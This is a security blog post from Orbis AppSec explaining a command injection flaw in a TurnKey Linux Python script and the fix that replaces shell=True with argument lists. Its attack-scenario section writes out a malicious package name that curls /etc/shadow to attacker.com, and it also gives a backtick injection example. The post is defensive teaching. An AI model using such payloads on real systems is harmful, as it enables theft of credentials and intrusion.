Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Python shell scripts and how to fix it

A critical command injection vulnerability was discovered in `overlays/bootstrap_apt/usr/local/bin/apt-packages-origin`, a Python script that queries installed package origins on Debian/Ubuntu systems. The script used `subprocess.Popen` with `shell=True` and embedded `$(dpkg -l | grep ^ii | awk '{print $2}')` directly in a command string, allowing an attacker who could install a maliciously named package to execute arbitrary shell commands. The fix replaces the single shell-interpolated command

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Python 2/3 script (`apt-packages-origin`) that built a shell command string by embedding raw `dpkg` output inside `subprocess.Popen(..., shell=True)`. An attacker who could install a Debian package with a name containing shell metacharacters (e.g., backticks or semicolons) could achieve arbitrary command execution. The fix eliminates `shell=True` entirely, splits the pipeline into two safe `subprocess.Popen` calls using argument lists, and parses `dpkg -l` output in Python rather than delegating to `awk` and the shell.

Vulnerability at a Glance

cweCWE-78
fixReplace shell=True string interpolation with two argument-list subprocess calls; parse dpkg output in Python
riskArbitrary command execution as the user running the script
languagePython
root causesubprocess.Popen called with shell=True and an unquoted command string embedding raw dpkg package names
vulnerabilityOS Command Injection

The Vulnerability in Context

The overlays/bootstrap_apt/usr/local/bin/apt-packages-origin script is a utility in the TurnKey Linux bootstrap layer responsible for listing the origin of every installed package — essentially answering "where did each .deb come from?" It does this by combining dpkg -l output with apt-cache policy. Straightforward enough. But the way those two tools were wired together introduced a critical command injection flaw that could let an attacker with package installation privileges run arbitrary commands on the host.

This post walks through exactly how the vulnerability worked, what the fix changed, and how to apply the same thinking to any Python script that shells out to external tools.


The Vulnerability Explained

The Dangerous Code (Before the Fix)

Here is the original main() function, line 55 of the file:

# VULNERABLE — do not use this pattern
proc = subprocess.Popen(
    args="apt-cache policy $(dpkg -l | grep ^ii | awk '{print $2}')",
    shell=True,
    bufsize=1,
    stdout=subprocess.PIPE
)

Two things make this dangerous:

  1. shell=True — Python hands the entire args string to /bin/sh -c. The shell interprets every metacharacter: backticks, $(), semicolons, pipes, redirects, and more.
  2. $(dpkg -l | …) — The shell expands this subshell inline. The output of dpkg -l, filtered through grep and awk, is substituted directly into the apt-cache policy command line without any quoting or escaping.

Why Package Names Are Attacker-Controlled

dpkg -l lists every installed package. On a Debian/Ubuntu system, a package name is typically something like libssl3 or python3-requests. But Debian package naming rules, while restrictive for packages in official repositories, are not enforced at the dpkg -i level for locally installed .deb files. An attacker who can run dpkg -i attacker.deb (or apt install a package from a compromised repository) controls the package name that ends up in dpkg -l output.

The Attack Scenario

Consider a .deb whose Package: field in DEBIAN/control is set to:

test;curl http://attacker.com/exfil?data=$(cat /etc/shadow | base64);pkg

When dpkg -l lists this package, awk '{print $2}' extracts that entire string. The shell then expands the full apt-cache policy command to something like:

apt-cache policy test;curl http://attacker.com/exfil?data=$(cat /etc/shadow | base64);pkg

The semicolons terminate the apt-cache policy command and introduce two new shell commands. The /etc/shadow contents are base64-encoded and exfiltrated to the attacker's server. The script runs as whatever user invokes it — on a bootstrap system, that is often root.

Backtick substitution is equally effective:

test`whoami > /tmp/pwned`pkg

Real-World Impact for This Component

apt-packages-origin is part of TurnKey Linux's bootstrap layer — it runs during system provisioning and auditing workflows. A compromised bootstrap step can poison the entire system image before it is ever deployed. The blast radius is not just one machine; it is every instance built from that image.


The Fix

Before and After

The fix replaces the single shell-interpolated command with two clean subprocess calls and moves the awk/grep filtering into Python itself.

Before (vulnerable):

proc = subprocess.Popen(
    args="apt-cache policy $(dpkg -l | grep ^ii | awk '{print $2}')",
    shell=True,
    bufsize=1,
    stdout=subprocess.PIPE
)

After (safe):

# Step 1: Run dpkg -l as an argument list — no shell involved
dpkg_proc = subprocess.Popen(['dpkg', '-l'], stdout=subprocess.PIPE, text=True)

# Step 2: Parse installed package names in Python
pkgs = [line.split()[1] for line in dpkg_proc.stdout if line.startswith('ii')]
dpkg_proc.wait()

if dpkg_proc.returncode != 0:
    raise SystemExit('dpkg -l failed with returncode %d' % dpkg_proc.returncode)

# Step 3: Pass package names as list arguments — still no shell
proc = subprocess.Popen(
    ['apt-cache', 'policy'] + pkgs,
    bufsize=1,
    stdout=subprocess.PIPE,
    text=True
)

Why This Eliminates the Vulnerability

When subprocess.Popen receives a list instead of a string, Python calls execvp() directly. The OS kernel loads apt-cache and passes each list element as a discrete argv entry. The shell is never involved. A package name like test;id;pkg is passed to apt-cache as a single literal argument — apt-cache simply fails to find a package by that name, which is the correct behavior.

The key changes and their security significance:

Change Security Effect
shell=True → argument list Shell metacharacter interpretation eliminated entirely
$(dpkg -l \| grep \| awk) → Python list comprehension No subprocess output is ever interpolated into a shell command
line.startswith('ii') filter in Python Same semantic as grep ^ii but without spawning a shell
line.split()[1] in Python Same semantic as awk '{print $2}' but without spawning a shell
dpkg_proc.returncode check Explicit error handling that was absent before
#!/usr/bin/python#!/usr/bin/python3 Modernizes the shebang; print fmt % tuple(row)print(fmt % tuple(row)) confirms Python 3 compatibility

The text=True addition also removes the need to decode bytes manually, a common source of secondary bugs in Python 3 subprocess code.


Key Takeaways

  • subprocess.Popen(shell=True) with embedded $(...) subshells is inherently unsafe — any data that flows through the shell can carry metacharacters, and dpkg package names are attacker-influenced on systems that allow local package installation.
  • The $(dpkg -l | grep ^ii | awk '{print $2}') pattern was the specific sink — replacing it with a Python list comprehension ([line.split()[1] for line in dpkg_proc.stdout if line.startswith('ii')]) moved filtering out of the shell entirely.
  • Argument lists in subprocess are not just a style preference — they change the underlying syscall from execve("/bin/sh", ["-c", cmd_string]) to execve("/usr/bin/apt-cache", argv_list), removing the shell interpreter from the trust boundary.
  • Bootstrap and provisioning scripts deserve extra scrutiny — a command injection in apt-packages-origin executes during system imaging, meaning a single exploit can affect every instance built from that image.
  • Error handling is part of security — the missing returncode check in the original code could have masked a failing dpkg -l invocation, leading to silent misbehavior in security-sensitive workflows.

How Orbis AppSec Detected This

  • Source: The output of dpkg -l — specifically the second column containing package names — which is influenced by any party who can install a .deb on the system.
  • Sink: subprocess.Popen(args="apt-cache policy $(dpkg -l | grep ^ii | awk '{print $2}')", shell=True, ...) at line 55 of overlays/bootstrap_apt/usr/local/bin/apt-packages-origin.
  • Missing control: No sanitization, quoting, or escaping of package names before shell interpolation; no use of argument lists to bypass the shell interpreter.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced the single shell=True command string with two subprocess.Popen calls using argument lists and moved grep/awk filtering into a Python list comprehension, eliminating shell interpretation of package names entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The apt-packages-origin vulnerability is a textbook example of how a convenient shell one-liner becomes a critical security flaw the moment untrusted data flows through it. The pattern subprocess.Popen("tool $(other-tool | filter)", shell=True) looks compact and readable, but it hands control to the shell interpreter — and the shell will faithfully execute whatever metacharacters it finds, regardless of where they came from.

The fix required fewer lines than the original: two subprocess calls with argument lists and a three-line list comprehension replace the entire shell pipeline. The result is not just safer — it is also more explicit, easier to test, and properly handles error conditions that the original silently ignored.

When you write scripts that shell out to system tools, ask yourself: does this command string contain any data I did not write myself? If the answer is yes, use an argument list. The shell is a powerful tool, but it should not be a pass-through for data you do not fully control.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #371

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.